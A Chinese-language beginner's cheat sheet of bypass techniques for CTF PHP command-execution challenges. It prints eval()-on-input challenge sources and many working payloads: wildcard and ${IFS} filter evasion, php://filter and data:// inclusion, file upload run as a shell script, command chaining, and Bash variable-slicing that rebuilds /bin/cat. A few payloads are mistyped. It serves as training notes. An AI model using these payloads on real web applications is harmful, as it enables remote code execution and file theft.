萌新总结,仅供参考的~~~~~
目录
最常用的绕过
通配符
*可以匹配0或多个字符
?可以匹配任意一个字符
[abcd]匹配abcd中任意一个字符
[a-z]表示范围a到z,表示范围的意思[]匹配括号中任意一个字符
例如:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在这一题中过滤掉了flag,我们就可以直接用f*或f???代替
执行函数
system()与``作用相同,但是需要echo特殊的
"\x73\x79\x73\x74\x65\x6d"()也等于system()
passthru()
exec()
shell_exec()
cat被过滤
1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器
空格被过滤
1.${IFS}
2.$IFS$1
3.${IFS
4.%20空格
5.<和<>重定向符
6.%09水平制表符
php被过滤
可以直接通配符匹配
在php结构内,<?php就等于<?=
无参函数读取文件
无参rce
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
关于无参rce
localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。
pos()取得数组内容
scandir()查看该路径下的目录
array_reverse()数组逆转
next() 函数将内部指针指向数组中的下一个元素,并输出。
show_source()显示源码
数字,字母被禁
英文被禁,保留数字
可以使用base64通配符进行匹配命令执行进行查看flag
?c=/???/????64 flag.php
意思/bin/base64 flag.php
其次,我们可以利用bzip2命令
可以利用/usr/bin下的bzip2
?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php
全都被禁
第三个使用.(进行)执行sh命令
上传post文件数据包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,执行poc执行命令
?c=.+/???/????????[@-[]
#!/bin/sh
ls
#!/bin/sh
tac flag.php
include函数的使用
在执行函数被禁后,可以使用include函数,
例题:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在这一题中,多数的命令执行函数都被禁了,所以我们可以尝试使用include函数进行绕过
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c包含一个get传入的参数1,在原题的源码里禁用的函数只对c禁用,1是随便用的,然后用1来读取flag.php
伪协议
data协议
在命令执行中源码会使用include函数,而不是eval函数
?c=data://text/plain,<?php phpinfo();>
data会把后面的数字,字符串作为php代码执行
?c=data://text/plain,<?php system('cat fl??.php';?)
>/del/null 2>&1(黑洞)
/dev/null 2>&1,它的作用为执行某个命令不会有任何输出
绕过的方法就是,多用一个命令,进行命令的一个组合
?c=ls;ls
?c=cat flag.php;ls
特殊的,我们使用的符号有
;
||
&&——%26%26
还有一个方法就是复制文件或移动文件
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt
文件读取
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
常见的
c=echo file_get_contents("flag.php");
使用include函数,include($_GET[a]);?a=php://filter/convert.base64-encode/resource=flag.php
高亮函数,c=highlight_file("flag.php");
show_source函数,c=show_source("flag.php");
c=include("flag.php");echo $flag;
c=include('flag.php');var_dump(get_defined_vars());
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
缓冲区
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
函数解释
ob_get_contents()——返回输出缓冲区的内容
ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲
解题的思路就是,
执行PHP的代码,让后面的匹配缓冲区不执行直接退出
例如payload
c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();
c=?><?php //前面的?>用来闭合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
Bash的内置变量绕过
具体含义利用~获取变量的最后几位,
~0获取最后一位
~1获取最后两位
~[a-z]/[A-Z]获取最后一位,等同数字0
在这要配合$PWD,$PATH
$PWD——echo $PWD会输出当前目录名
特殊的
一般$PATH是以bin结尾,所以${PATH:-A}为n
在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l
我们就可以构造nl
nl flag.php
${PATH:~A}${PWD:~A} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}}为t
${PWD:${Z}:${#SHLVL}}为/
/bin/cat flag.php
${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
${#RANDOM}的值大概率是4或5,这就构造出4了
/bin/base64 flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${USER:}的最后一位为a
/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${##}和${#?}可以代替SHLVL,${PWD::${#?}}=/
/bin/rev flag.php
${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???